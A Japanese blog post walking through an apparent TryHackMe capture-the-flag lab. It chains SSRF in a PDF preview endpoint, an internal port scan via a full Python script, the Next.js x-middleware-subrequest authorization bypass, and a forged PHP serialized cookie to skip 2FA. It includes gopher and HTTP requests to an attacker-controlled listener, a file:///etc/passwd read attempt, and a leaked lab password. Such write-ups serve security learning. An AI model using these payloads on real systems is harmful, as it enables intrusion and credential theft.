0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】Extract – SSRF から内部 API を暴き、Next.js 認可を迂回するまで

0
Last updated at Posted at 2026-01-21

概要

今回のターゲットは、PDF プレビュー機能を持つ一見シンプルな Web アプリケーション。
しかし裏側では、SSRF → 内部サービス探索 → Next.js Middleware 認可バイパス → 管理機能侵入という、非常に“現実的”な攻撃チェーンが成立していました。

このチャレンジの本質は、

「急いでデプロイされた機能は、だいたい危ない」

という一点に尽きます。

目標

  • What is the first flag?

  • What is the second flag?

流れ

1. 初期調査:PDF プレビュー機能という入口

Untitled.jpg

<div class="container">
    <div class="row">
      <!-- PDF List -->
      <div class="col-md-4">
        <h4 class="mb-3">Available Documents</h4>
        <ul class="list-group pdf-list">
          <li class='list-group-item'><a onclick="openPdf('http://cvssm1/pdf/dummy.pdf')">Dummy</a></li><li class='list-group-item'><a onclick="openPdf('http://cvssm1/pdf/lorem.pdf')">Lorem</a></li>        </ul>
      </div>

      <!-- Preview Panel -->
      <div class="col-md-8">
        <h4 class="mb-3">Document Preview</h4>
        <iframe id="pdfFrame" width="100%" height="600px" style="display:none;"></iframe>
      </div>
    </div>
  </div>
...

  <!-- JS -->
  <script>
    function openPdf(url) {
      const iframe = document.getElementById('pdfFrame');
      iframe.src = 'preview.php?url=' + encodeURIComponent(url);
      iframe.style.display = 'block';
    }
  </script>

フロントエンドは非常に単純で、PDF を iframe で表示するだけ。

iframe.src = 'preview.php?url=' + encodeURIComponent(url);

つまり、ユーザー入力がそのまま preview.php?url= に渡されます。

/preview.php?url=http://cvssm1/pdf/dummy.pdf

この時点で、経験者の脳内にはもう一つの単語が浮かびます。

SSRF(Server-Side Request Forgery)

サーバの情報

apache/2.4.58 (Ubuntu)

少し、調べて、利用できる弱点がない。

2. ディレクトリ列挙と表層構造の把握

dirsearch による探索結果:
dirsearch -u http://10.67.161.85 -t 50

[08:48:02] 301 -  317B  - /javascript  ->  http://10.67.161.85/javascript/
[08:48:06] 301 -  317B  - /management  ->  http://10.67.161.85/management/
[08:48:06] 403 -   14B  - /management/
[08:48:13] 301 -  310B  - /pdf  ->  http://10.67.161.85/pdf/

  • /management が存在するがアクセス不可
  • /preview.php が唯一の“サーバー側通信ポイント”

ここで「SSRF 一本勝負」が確定します。

3. SSRF の成立確認(gopher / 外部 HTTP)

gopher プロトコル確認
nc -lvnp 5555

request

GET /preview.php?url=gopher://ATTACKER_IP:5555/_test HTTP/1.1

response

HTTP/1.1 200 OK
Date: Wed, 21 Jan 2026 07:28:59 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8

1222.jpg

結果:
サーバーから自分の nc に接続が来る

✅ SSRF 確定

外部 HTTP サーバー確認

python3 -m http.server 8000
GET /preview.php?url=http://ATTACKER_IP:8000/test.txt

→ ファイル内容がそのまま返却

✅ 任意 URL フェッチ可能

4. file:// が塞がれている=防御が雑

GET /preview.php?url=file:///etc/passwd

response

URL blocked due to keyword: file:/

キーワードベースのブラックリスト
= だいたい突破されるやつ。

5. SSRF を使った内部ポートスキャン

自作のpython

import asyncio
import aiohttp

TARGET_IP = "X.X.X.X"

def build_headers(host: str) -> dict:
    return {
        "Host": host,
        "Accept-Language": "en-US,en;q=0.9",
        ...
        "Referer": f"http://{host}/",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
    }

def build_params(port: int):
    # Construct SSRF target URL pointing to localhost with the given port
    return {"url": f"http://127.0.0.1:{port}"}

async def fetch_one(
    session: aiohttp.ClientSession,
    url: str,
    headers: dict,
    port: int,
    sem: asyncio.Semaphore
):
    # Limit concurrency using a semaphore to avoid overwhelming the target
    async with sem:
        try:
            async with session.get(
                url,
                params=build_params(port),
                headers=headers,
                timeout=aiohttp.ClientTimeout(total=10),
                allow_redirects=False,
            ) as resp:
                body = await resp.read()   # Response body as bytes
                return port, resp.status, len(body)
        except (aiohttp.ClientError, asyncio.TimeoutError):
            # Network error or timeout: treat as unreachable / filtered
            return port, None, 0
    
async def scan_ports(
    url: str,
    headers: dict,
    start: int = 1,
    end: int = 65535,
    concurrency: int = 200
):
    # Semaphore to control maximum concurrent in-flight requests
    sem = asyncio.Semaphore(concurrency)

    connector = aiohttp.TCPConnector(
        limit=concurrency,          # Connection pool upper bound
        ttl_dns_cache=300,
        ssl=False,
    )

    found = []
    async with aiohttp.ClientSession(connector=connector) as session:
        # Do NOT gather 65k tasks at once; use as_completed for streaming results
        tasks = [
            asyncio.create_task(fetch_one(session, url, headers, p, sem))
            for p in range(start, end + 1)
        ]

        done = 0
        for coro in asyncio.as_completed(tasks):
            port, status, size = await coro
            done += 1

            # Detection rule can be tightened later (e.g. baseline diffing)
            if status == 200 and size > 0:
                found.append(port)
                print(f"[+] open? port={port} status=200 size={size}")

            if done % 100 == 0:
                print(f"progress: {done}/{end - start + 1}")

    return found


if __name__ == "__main__":
    url = f"http://{TARGET_IP}/preview.php"
    headers = build_headers(TARGET_IP)

    ports = asyncio.run(scan_ports(url, headers, concurrency=200))
    print(f"\nDONE. Found {len(ports)} ports:")
    print(ports)

結果:

DONE. Found 2 ports:
[80, 10000]

つまり内部に port 10000 の未知サービスが存在。

6. 内部 API(port 10000)の正体

GET /preview.php?url=http://127.0.0.1:10000/
<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charSet="utf-8"/>
      <meta name="viewport" content="width=device-width, initial-scale=1"/>
      <link rel="stylesheet" href="/_next/static/css/178989e77b112f7f.css" crossorigin="" data-precedence="next"/>
      <link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-8fc0c21e0210cbd2.js" crossorigin=""/>
      <script src="/_next/static/chunks/fd9d1056-ffbd49fae2ee76ea.js" async="" crossorigin=""></script><script src="/_next/static/chunks/472-22e55b21ed910619.js" async="" crossorigin=""></script><script src="/_next/static/chunks/main-app-321a014647b5278e.js" async="" crossorigin=""></script>
      <title>TryBookMe API</title>
      <meta name="description" content="API Service for TryBookMe"/>
      <script src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js" crossorigin="" noModule=""></script>
   </head>
   <body>
      <main style="max-width:1000px;margin:0 auto;padding:20px">
         <header style="margin-bottom:20px">
            <h1 style="font-size:24px;font-weight:bold">TryBookMe</h1>
            <nav style="margin-top:10px">
               <ul style="display:flex;gap:16px">
                  <li><a href="/" style="color:blue;text-decoration:underline">Home</a></li>
                  <li><a href="/customapi" style="color:blue;text-decoration:underline">API</a></li>
               </ul>
            </nav>
         </header>
         <div style="padding:2rem;max-width:1200px;margin:0 auto">
            <div style="background:#fff8f8;border:1px solid #ffcdd2;padding:1.5rem;border-radius:8px;margin-top:2rem">
               <h2 style="font-size:1.8rem;margin-bottom:1rem;color:#d32f2f">Warning</h2>
               <p style="font-size:1.1rem;line-height:1.6">Unauthorised access to this system is strictly prohibited.</p>
            </div>
         </div>
      </main>
      <script src="/_next/static/chunks/webpack-8fc0c21e0210cbd2.js" crossorigin="" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0]);self.__next_f.push([2,null])</script><script>self.__next_f.push([1,"1:HL[\"/_next/static/css/178989e77b112f7f.css\",\"style\",{\"crossOrigin\":\"\"}]\n0:\"$L2\"\n"])</script><script>self.__next_f.push([1,"3:I[3728,[],\"\"]\n5:I[9928,[],\"\"]\n6:I[6954,[],\"\"]\n7:I[7264,[],\"\"]\n"])</script><script>self.__next_f.push([1,"2:[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/178989e77b112f7f.css\",\"precedence\":\"next\",\"crossOrigin\":\"\"}]],[\"$\",\"$L3\",null,{\"buildId\":\"k9Pjo5x24QkUE90SdyHNw\",\"assetPrefix\":\"\",\"initialCanonicalUrl\":\"/\",\"initialTree\":[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],\"initialHead\":[false,\"$L4\"],\"globalErrorComponent\":\"$5\",\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"main\",null,{\"style\":{\"maxWidth\":\"1000px\",\"margin\":\"0 auto\",\"padding\":\"20px\"},\"children\":[[\"$\",\"header\",null,{\"style\":{\"marginBottom\":\"20px\"},\"children\":[[\"$\",\"h1\",null,{\"style\":{\"fontSize\":\"24px\",\"fontWeight\":\"bold\"},\"children\":\"TryBookMe\"}],[\"$\",\"nav\",null,{\"style\":{\"marginTop\":\"10px\"},\"children\":[\"$\",\"ul\",null,{\"style\":{\"display\":\"flex\",\"gap\":\"16px\"},\"children\":[[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"Home\"}]}],[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/customapi\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"API\"}]}]]}]}]]}],[\"$\",\"$L6\",null,{\"parallelRouterKey\":\"children\",\"segmentPath\":[\"children\"],\"loading\":\"$undefined\",\"loadingStyles\":\"$undefined\",\"loadingScripts\":\"$undefined\",\"hasLoading\":false,\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L7\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":\"404\"}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],\"notFoundStyles\":[],\"childProp\":{\"current\":[\"$L8\",[\"$\",\"div\",null,{\"style\":{\"padding\":\"2rem\",\"maxWidth\":\"1200px\",\"margin\":\"0 auto\"},\"children\":[\"$\",\"div\",null,{\"style\":{\"background\":\"#fff8f8\",\"border\":\"1px solid #ffcdd2\",\"padding\":\"1.5rem\",\"borderRadius\":\"8px\",\"marginTop\":\"2rem\"},\"children\":[[\"$\",\"h2\",null,{\"style\":{\"fontSize\":\"1.8rem\",\"marginBottom\":\"1rem\",\"color\":\"#d32f2f\"},\"children\":\"Warning\"}],[\"$\",\"p\",null,{\"style\":{\"fontSize\":\"1.1rem\",\"lineHeight\":1.6},\"children\":\"Unauthorised access to this system is strictly prohibited.\"}]]}]}],null],\"segment\":\"__PAGE__\"},\"styles\":null}]]}]}]}],null]}]]\n"])</script><script>self.__next_f.push([1,"4:[[\"$\",\"meta\",\"0\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}],[\"$\",\"meta\",\"1\",{\"charSet\":\"utf-8\"}],[\"$\",\"title\",\"2\",{\"children\":\"TryBookMe API\"}],[\"$\",\"meta\",\"3\",{\"name\":\"description\",\"content\":\"API Service for TryBookMe\"}]]\n8:null\n"])</script><script>self.__next_f.push([1,""])</script>
   </body>
</html>

返ってきたのは:

  • _next/static/
  • self.__next_f
  • main-app-xxxx.js

Next.js App Router(13.4+)

12323.jpg

タイトル:

TryBookMe API
Unauthorised access to this system is strictly prohibited

ここで重要なのは 「Next.js Middleware が使われている」 という事実。

7. CVE-2025-29927:Next.js Middleware Authorization Bypass

該当脆弱性:

CVE-2025-29927 – x-middleware-subrequest ヘッダによる認可バイパス

攻撃の本質:

x-middleware-subrequest: true

を付けることで、Middleware がスキップされる

= 本来アクセス不可の API / 管理画面が開く

Extract | TryHackMe | Walkthoughの解決策に参照

3232323.jpg

8. 内部 API からの致命的なメッセージ

認可バイパス後、API 画面に表示された文言:

This API is currently under maintenance.
Please use the library portal to add new books using
librarian:L1br4r1AN!!

資格情報の平文漏洩

9. /management 侵入 → 2FA バイパス

132323.jpg

librarian / L1br4r1AN!! でログイン成功

4343434.jpg

2FA が要求される

ここで登場するのが PHP オブジェクト直列化 Cookie

auth_token=O:9:"AuthToken":1:{s:9:"validated";b:1;}

34343434.jpg

これをセットすると:

✅ 2FA 完全バイパス

攻撃チェーンまとめ(超重要)

PDF Preview
  ↓
SSRF
  ↓
Internal Port Scan
  ↓
Next.js App Router Detection
  ↓
CVE-2025-29927
  ↓
Credential Disclosure
  ↓
Management Login
  ↓
Insecure Deserialization
  ↓
Flags

他の試して

nmap

sudo nmap -p- TARGET

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

ffuf

ffuf -u 'http://10.66.168.121/FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -mc all -t 100 -ic -fc 404 -e .php

:: Progress: [100/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Er                        [Status: 200, Size: 1735, Words: 304, Lines: 65]
:: Progress: [106/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Erindex.php               [Status: 200, Size: 1735, Words: 304, Lines: 65]
:: Progress: [108/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Er.php                    [Status: 403, Size: 278, Words: 20, Lines: 10]
:: Progress: [117/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Erpdf                     [Status: 301, Size: 312, Words: 20, Lines: 10]
:: Progress: [260/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Ermanagement              [Status: 301, Size: 319, Words: 20, Lines: 10]
:: Progress: [862/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Er:: Progress: [1242/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Ejavascript              [Status: 301, Size: 319, Words: 20, Lines: 10]
:: Progress: [2098/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: E:: Progress: [2725/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Epreview.php             [Status: 200, Size: 19, Words: 3, Lines: 1]
:: Progress: [2836/175302] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] 

ffuf -u 'http://10.67.161.85/preview.php?url=http://127.0.0.1:FUZZ/' -w <(seq 1 65535) -mc all -t 100 -fs 0
10000                   [Status: 200, Size: 6131, Words: 104, Lines: 1]
80                      [Status: 200, Size: 1735, Words: 304, Lines: 65]
:: Progress: [65535/65535] :: Job [1/1] :: 29622 req/sec :: Duration: [0:00:12] :: Errors: 0 ::


GET /preview.php?url=http://TARGET_ADDRESS/javascript/


HTTP/1.1 200 OK
Date: Tue, 20 Jan 2026 08:52:07 GMT
Server: Apache/2.4.58 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 277
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.58 (Ubuntu) Server at 10.67.161.85 Port 80</address>
</body></html>

ローカルファイル

自分のフィイル

echo 'echo test' > test.txt
python3 -m http.server 8000

GET /preview.php?url=http://10.67.66.80:8000/test.txt HTTP/1.1



HTTP/1.1 200 OK
Date: Tue, 20 Jan 2026 09:22:47 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 10
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8

echo test

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?